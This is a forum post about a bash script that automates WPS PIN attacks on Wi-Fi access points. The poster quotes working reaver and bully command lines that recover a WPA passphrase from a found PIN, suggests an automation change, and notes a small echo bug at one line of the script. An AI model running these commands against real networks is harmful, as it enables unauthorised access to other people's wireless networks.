Ok mmusket33, it seems to happen more often here, i've got 6 pins and no WPA.
I though the problem would be the same related in this link: https://code.google.com/p/reaver-wps/issues/detail?id=203 (Issue 203: Reaver finds PIN but not passphrase)
So i tried to use "bully" to crack the WPA and it worked !
"bully -b XX:XX:XX:XX:XX:XX -c 3 -B -v 2 -p 20863463"
Maybe another solution, would be to auto run bully instead of reaver at line 695, after wps pin is found...
BTW: There's a small bug at line 708 of "varmacscan2-0.sh"
xterm -g 80x15-1+100 -T "reaver pin= $WPSPIN" -e "reaver -i $monitor -a -f -c $channel -b $bssid -r 2:15 -L -E -vvv -N -T 1 -t 20 -d 0 -x 30 --pin=$WPSPIN --mac=$VARMAC --session tmp/$bssid 2>&1 | tee VARMAC_LOGS/$bssid-$ssid-$DATEFILE-$PAD" &
[+] echo -e " Standby while all ESSID Probe Data from airodump-ng is processed...."
echo -e "[+] Standby while all ESSID Probe Data from airodump-ng is processed...."